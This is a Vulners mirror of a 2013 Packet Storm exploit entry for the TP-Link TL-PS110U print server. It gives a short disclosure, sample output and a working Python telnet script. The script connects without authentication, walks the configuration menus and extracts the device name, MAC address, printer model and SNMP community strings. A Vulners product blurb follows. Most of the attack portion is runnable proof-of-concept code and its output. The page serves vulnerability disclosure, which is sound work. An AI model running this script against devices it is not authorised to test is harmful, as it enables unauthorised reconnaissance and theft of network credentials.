Lucene search
K

TP-Link Print Server TL PS110U Information Enumeration

🗓️ 19 Jun 2013 00:00:00Reported by SANTHOType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

TP-Link Print Server TL PS110U Information Leakag

Code
`# Exploit Title: TP-Link Print Server Sensitive Information Enumeration  
# Exploit Author: SANTHO  
# Vendor Homepage: http://www.tp-link.com  
# Software Link: http://www.tp-link.com/en/products/details/?model=TL-PS110U  
# Version: TL PS110U  
TP-Link TL PS110U Print Server runs telnet service which enables an  
attacker to access the configuration details without authentication. The  
PoC can extract device name, MAC address, manufacture name, Printer model,  
and SNMP Community Strings.  
  
*Sample Output*  
  
root@bt# ./tplink-enum.py 10.0.0.2  
  
Device Name : 1P_PrintServABCD  
  
Node ID : AA-AA-AA-AA-AA-AA  
  
Manufacture: Hewlett-Packard  
  
Model: HP LaserJet M1005  
  
Community 1: public Read-Only  
  
Community 2: public Read-Only  
  
import telnetlib  
import sys  
host = sys.argv[1]  
tn = telnetlib.Telnet(host)  
tn.read_until("Password:")  
tn.write("\r\n")  
tn.read_until("choice")  
tn.write("1\r\n")  
tn.read_until("choice")  
tn.write("1\r\n")  
data = tn.read_until("choice")  
for i in data.split("\r\n"):  
if "Device Name" in i:  
print i.strip()  
if "Node ID" in i:  
print i.strip()  
tn.write("0\r\n")  
tn.read_until("choice")  
tn.write("2\r\n")  
data = tn.read_until("choice")  
for i in data.split("\r\n"):  
if "Manufacture:" in i:  
print i.strip()  
if "Model:" in i:  
print i.strip()  
tn.write("0\r\n")  
tn.read_until("choice")  
tn.write("5\r\n")  
data = tn.read_until("choice")  
for i in data.split("\r\n"):  
if "Community" in i:  
print i.strip()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation